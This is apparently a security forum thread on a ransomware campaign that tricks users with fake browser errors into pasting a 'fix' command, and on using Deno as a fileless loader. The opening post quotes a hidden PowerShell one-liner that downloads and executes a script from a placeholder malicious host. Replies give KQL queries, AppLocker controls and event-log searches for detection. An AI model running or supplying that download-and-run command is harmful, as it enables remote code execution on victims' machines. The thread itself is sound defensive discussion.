LeakNet Ransomware: Analyzing the ClickFix & Deno Shift
Has anyone started seeing LeakNet's new ClickFix campaigns in the wild? It looks like they've moved away from standard credential theft and are now leveraging compromised websites to serve fake browser error messages.
The social engineering aspect is clever but terrifying. Users see a fake "Connection Timed Out" or "Update Required" page and are prompted to run a "fix" command. Usually, this looks like a PowerShell one-liner.
Example of what users are tricked into running (sanitized):
Start-Process -WindowStyle Hidden -FilePath "powershell.exe" -ArgumentList "-NoP -NonI -W Hidden -Exec Bypass -C IEX (New-Object Net.WebClient).DownloadString('http://malicious-site[.]com/payload.js')"
What's technically interesting here is the use of Deno as an in-memory loader. Since Deno is a legitimate runtime for JavaScript/TypeScript, simply blocking it isn't an option for dev shops. It helps the ransomware stay fileless and often bypasses standard signature-based checks.
I'm currently building a Sigma rule to flag deno.exe spawning from browser_child_process or cmd.exe with encoded arguments, but I'm curious if anyone else has better IoCs.
How are you guys handling the detection of legitimate JS runtimes being weaponized like this? Are you just blocking script execution via ASR, or do you have a more granular approach?
We saw a spike in ClickFix attempts last week. The key for us was enabling PowerShell Script Block Logging. Even if the payload is obfuscated, the logging captures the de-obfuscated execution context.
We're using this KQL query to hunt for Deno anomalies:
DeviceProcessEvents
| where FileName == "deno.exe"
| where ProcessCommandLine contains "eval" or ProcessCommandLine contains "-e"
It's catching some noise from devs, but it's better than the alternative.
From an MSP perspective, training is the only real fix for the social engineering part. No firewall stops a user from copy-pasting a command.
On the technical side, we use Application Control (AppLocker) to restrict Deno to specific user groups. If a standard HR user tries to spawn deno.exe, it gets killed immediately. It's a bit heavy-handed, but it stops the fileless loader dead in its tracks.
Don't overlook the 'Deno Shift' mentioned in the title. We've observed payloads pivoting to deno run specifically to evade the PowerShell Script Block Logging Dana mentioned. Since Deno is rarely on standard corporate images, a simple block via AppLocker or SRP is highly effective. You can hunt for existing usage with this PowerShell one-liner:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object {$_.Message -match 'deno.exe'}
Valid point regarding the evasion, Steve. Unless Deno is a business requirement, the most effective control is simply blocking the binary via AppLocker or SRP.
If you must allow it, focus on the child process. Deno shouldn't normally spawn cmd or powershell. You can hunt for this behavior with a simple KQL query:
DeviceProcessEvents
| where InitiatingProcessFileName =~ "deno.exe"
| where FileName in~ ("powershell.exe", "cmd.exe")
This anomaly is usually the giveaway that the "fix" script is unpacking the real payload.
Verified Access Required
To maintain the integrity of our intelligence feeds, only verified partners and security professionals can post replies.
Request Access